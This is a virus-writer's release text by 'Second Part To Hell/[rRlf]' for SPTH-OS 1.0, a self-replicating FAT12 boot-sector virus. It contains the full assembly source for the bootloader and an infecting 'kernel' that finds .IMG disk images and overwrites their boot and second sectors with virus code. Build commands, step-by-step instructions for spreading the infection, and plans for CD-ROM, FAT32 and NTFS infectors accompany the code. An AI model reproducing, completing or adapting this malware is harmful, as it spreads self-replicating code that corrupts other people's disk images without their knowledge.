SPTH-OS 1.0
by Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written from November 2004 - January 2005
in Austria
This is, as you can imagine, my first version of my latest project: SPTH-OS 1.0
You may wonder why I'm writing an OS... Don't worry, this 'OS' spreads itself :)
The Virus:
SPTH-OS 1.0 is a bootsectorvirus, which works at FAT12 Disks. It spreads
itself via infecting other FAT12 .IMG files in the Root_Directory at the
Disk.
FAT12 .IMG file: This is a 1/1 copie of a Disk (A:\) saved in a file.
FAT12 is the only (well 99.999% of all Disks uses it)
File System of a formated Disk.
The virus is in contrast to most (all?) other 100% OS-independent.
Most old bootsectorviruses hook any INT to stay resident in the memory.
But my SPTH-OS don't use any INT/API/whatever by the OS, it just uses
old, cool BIOS Interrupts. (That's also the reason for naming it 'OS'.)
The Virus uses it's own FAT12 system driver to find/read/write files at
the Disk.
As you can see that this version is named '1.0', other versions will follow
definitivly:
To Do (listed in priority):
100%:
- FAT32 system driver
- .NRB infection (CD-ROM Bootsector infection)
- .ISO infection (CD-ROM Bootsector infection)
Maybe (listed in priority):
- Infect more than just Root_Directory
- NTFS system driver
- EXT2 system driver
You see what I'm going to do next time...
How to compile:
- - - - -
del bootloader.bin
del kernel.bin
cls
fasm bootloader.asm bootloader.bin
fasm kernel.asm kernel.bin
del disk-img.img
copy bootloader.bin+kernel.bin disk-img.img
rawrite -f disk-img.img -d A -n
pause
- - - - -
How to infect other files:
- - - - -
1.) Full-Format a Disk (important because of the Root_Entry)
2.) Use the compile code above to install the virus on the disk
3.) Copy some FAT12 .IMG files to the Disk
4.) Reboot and boot from the infected Disk
<-- All FAT12 .IMG files will be infected too. Anybody could RaWrite them to a Disk and next Disk is infected.
- - - - -
======================== [ bootloader.asm ] ========================
org 0x7c00
stfat:
jmp start
nop
db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30
db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00
db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
db 0x20,0x20,0x20
start:
cli
mov ax,0x9000
mov ss, ax
mov sp, 0
sti
mov [bootdrv], dl
loada:
push ds
mov ax, 0
mov dl, [bootdrv]
int 0x13
pop ds
jc loada
load1:
mov ax, 0x1000
mov es, ax
mov bx, 0
mov ah, 0x2
mov al, 0x1
mov cx, 2
mov dx, 0
int 0x13
jc load1
mov ax, 0x1000
mov es, ax
mov ds, ax
push ax
mov ax, 0
push ax
retf
bootdrv db 0
ende:
times (512-(ende-stfat)-2) db 0
dw 0xAA55
======================== [ bootloader.asm ] ========================
========================== [ kernel.asm ] ==========================
start:
;;;;;;;;;;;;;;; Read Root_Directory ;;;;;;;;;;;;;;;
mov ax, 0x2000 ; ax=0x2000
mov es, ax ; Data will be read to ES:BX, ES=0x2000
mov ds, ax
xor bx, bx ; BX=0x0
loadk:
mov ah, 0x2 ; ah=2: Read Sectors
mov al, 0x12 ; How many Sectors (18)
mov ch, 0 ; Cylinder 0
mov cl, 1 ; Start at sektor 1
xor dx, dx ; dx=0
inc dh ; Head 1
int 0x13 ; System call
jc loadk ; If carry, again
mov bx, 0x200 ; bx=Offset of 2nd Sector in memory
;;;;;;;;;;;;;;; REAL FILE SEARCH ;;;;;;;;;;;;;;;
fat12read:
mov ah, [bx] ; ah=First byte of Filename
cmp ah, 0x0 ; Check if zero. If zero, it's the last entry
je endfat12read ; If End, stopp reading
cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file
je fat12next ; If deleted file, get next entry
mov al, [bx+2] ; al=3rd letter of name
test al, al ; Check if zero
jz fat12next ; If zero, get next entry
;;;;;;;;;;;;;;; IMG FILE SEARCH ;;;;;;;;;;;;;;;
mov ax, word [bx+8] ; 9th and 10th Letter to ax
cmp ax, 'IM' ; Check if it's 'IM'
jne fat12next ; If not, no IMG file
mov al, byte [bx+10] ; Move 10th letter to al
cmp al, 'G' ; Check if 10th letter='G'
jne fat12next ; If not, next file
;;;;;;;;;;;;;;; Size Check ( > 2 Sectors = 1024 bytes) and DIRECTORY ;;;;;;;;;;;;;;;
mov ax, word [bx+30] ; Move second (high) word of filesize to ax
test ax, ax ; Check if zero
jnz fat12sizeok ; If not zero, file has at least 128 sectors
mov al, byte [bx+29] ; Move second byte of low word of filesize to ax
cmp al, 4 ; Compair with 4
jl fat12next ; If less than 4, file has not 2 sectors=too small for infection
mov al, byte [bx+11] ; Move attribute byte to al
and al, 0x10 ; ???1 ???? = Directory
test al, al ; Check if zero
jnz fat12next ; If not zero, it's a directory and we ignore it
;;;;;;;;;;;;;;; Check FAT12 / Modiefy 1st Sector ;;;;;;;;;;;;;;;
fat12sizeok:
mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent...
mov ah, byte [bx+27] ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?
add ax, 32 ; Now we have the real 1st data-sector of the file at the disk
xor cx, cx ; ch will be the number of the Cylinder
; cl will be the number of the Sector
xor dx, dx ; dh will be the number of the Head
call CyHeSe ; Get the Cylinder, Head and Sector
push bx ; Save bx at stack
mov bx, 0x3000 ; ax=0x3000
mov es, bx ; Data will be read to ES:BX, ES=0x3000
mov ds, bx
mov bx, 0 ; BX=0x0
mov ah, 0x2 ; AH=2: Read Sector
mov al, 0x1 ; Wir read 1 Sector
mov dl, 0
int 0x13 ; Interrupt 13
mov ax, word [bx+54] ; For FAT12 it should be 'FA'
cmp ax, 'FA' ; Check if 'FA'
jne fat12next ; If not, get next file
mov ax, word [bx+57] ; For FAT12 it should be '12'
cmp ax, '12' ; Check if '12'
jne fat12next ; If not, get next file
xor di, di ; di=0
mov ax, 0xEB3C ; ax=2 bytes of jmp over fat12
stosw ; Store AX at address ES:DI
mov al, 0x90 ; al = NOP
stosb ; Store AL at address ES:DI
mov ax, 0x1000 ; AX=0x2000
mov ds, ax ; DS=0x2000
mov cx, 63 ; Length of 1st sector data
mov si, data1stsector ; Where the data is
mov di, 0x3E ; The FAT12 at 1st sector in IMG file
rep movsb ; Move CX bytes from DS:SI to ES:DI
; Move 63 bytes from 0x1000:data1stsector to 0x3000:0x3E
pop bx ; Get bx again
push bx ; Save it again
mov ax, 0x2000 ; ax=0x2000
mov es, ax ; Data will be read to ES:BX, ES=0x2000
mov ds, ax
mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent...
mov ah, byte [bx+27] ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok?
add ax, 32 ; Now we have the real 1st data-sector of the file at the disk
xor cx, cx ; ch will be the number of the Cylinder
; cl will be the number of the Sector
xor dx, dx ; dh will be the number of the Head
call CyHeSe ; Get the Cylinder, Head and Sector
mov ax, 0x3000 ; ax=0x3000
mov es, ax ; Data will be read to ES:BX, ES=0x3000
mov ds, ax
xor bx, bx ; BX=0
mov ah, 0x3 ; AH=3: Write Sector
mov al, 0x1 ; Wir read 1 Sector
mov dl, 0
int 0x13 ; Interrupt 13
mov bx, 0x2000 ; ax=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
pop bx ; Restore bx
jmp fat12ow2sec ; Jmp over data
;;;;;;;;;;;;;;; 1st Sector Data ;;;;;;;;;;;;;;;
; jmpoverfat12 db 0xEB,0x3C,0x90 ; Jmp over FAT12 at 0x0 in Sector 1
data1stsector db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00,0x00,0xFB ; This is the data after
db 0x88,0x16,0x7C,0x7C,0x1E,0xB8,0x00,0x00,0x8A,0x16 ; the FAT12. Starts at
db 0x7C,0x7C,0xCD,0x13,0x1F,0x72,0xF3,0xB8,0x00,0x10 ; offset 0x3E (62) and
db 0x8E,0xC0,0xBB,0x00,0x00,0xB4,0x02,0xB0,0x01,0xB9 ; has 63 byte.
db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72,0xEA,0xB8
db 0x00,0x10,0x8E,0xC0,0x8E,0xD8,0x50,0xB8,0x00,0x00
db 0x50,0xCB,0x00
;;;;;;;;;;;;;;; Overwrite 2nd Sector ;;;;;;;;;;;;;;;
fat12ow2sec:
mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did...
xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent
mov ah, byte [bx+27] ; hours of testing, but no result. Let's never ever talk again about that lines, ok?
add ax, 32+1 ; Now we have the real 2nd data-sector of the file at the disk
xor cx, cx ; ch will be the number of the Cylinder
; cl will be the number of the Sector
xor dx, dx ; dh will be the number of the Head
call CyHeSe ; Get the Cylinder, Head and Sector
push bx ; Save bx at stack, because it will be changed
mov bx, 0x1000 ; bx=0x1000
mov es, bx ; Data will be read to ES:BX, ES=0x1000
mov ds, bx
mov bx, 0 ; BX=0x0
mov ah, 0x3 ; AH=3: Write sector(s)
mov al, 0x1 ; We write 1 sector
mov dl, 0
int 0x13 ; Interrupt 13
mov bx, 0x2000 ; bx=0x2000
mov es, bx ; Data will be read to ES:BX, ES=0x2000
mov ds, bx
pop bx ; Restore bx
;;;;;;;;;;;;;;; Get Next Entry ;;;;;;;;;;;;;;;
fat12next:
mov cx, 0x2000 ; cx=0x2000
mov es, cx ; Data will be read to ES:BX, ES=0x2000
mov ds, cx
add bx, 0x20 ; Next entry
jmp fat12read
endfat12read:
mov ax, 0x1000 ; Restore ES and DS, because now we work again at 0x1000 in memory
mov es, ax
mov ds, ax
mov cx, 0xFFFF ; cx=0xFFFF - Stringlength (not real - stops at 0x0)
mov si, msg ; si=Offset of String
call putstr ; Print String to Screen
mov cx, 0xFFFF ; Again...
mov si, m_boot ; Again...
call putstr ; Again
call getkey ; Call GetKey function
jmp reboot ; Now let's reboot!
msg db 'Thank you for using SPTH-OS 1.0',0 ; String 1
m_boot db 'Press any key...',0 ; String 2
putstr: ; Print String to Screen
lodsb ; [si]->al
or al, al ; Check if al=0x0 (=end)
jz putstrd ; If end of string, let's stop this loop
mov ah, 0xE ; ah=0xE: Print Letter to Screen
mov bx, 0x7
int 0x10 ; call
loop putstr ; Next Letter
putstrd:
mov al, 13 ; Write ASCII 13
mov ah, 0xE
mov bx, 0x7
int 0x10
mov al, 10 ; Write ASCII 10 (13,10=... you know!)
mov ah, 0xE
mov bx, 0x7
int 0x10
retn
BefCyHeSe: ; Cylinder Increasing
sub ax, 36 ; al-=36
inc ch ; Cylinder++
CyHeSe:
cmp ax, 36 ; 36 Sectors = 1 Cylinder
jge BefCyHeSe ; If greater or equal, jmp to BefCyHeSe
cmp ax, 18 ; 18 Sectors = Head1
jl SecCheck ; If less, Head=0
mov dh, 1 ; Head++
sub ax, 18 ; Sectors-=18
SecCheck:
mov cl, al ; cl=Rest Sector Numbers
ret
change_memory:
pop ax
mov es, ax
mov ds, ax
ret
getkey:
mov ah, 0 ; ah=0: Get Key BIOS Function
int 0x16 ; Call
ret
reboot:
db 0xEA ; Hexdump for reboot: jmp 00FF:FF00
dw 0x0
dw 0xFFFF
========================== [ kernel.asm ] ==========================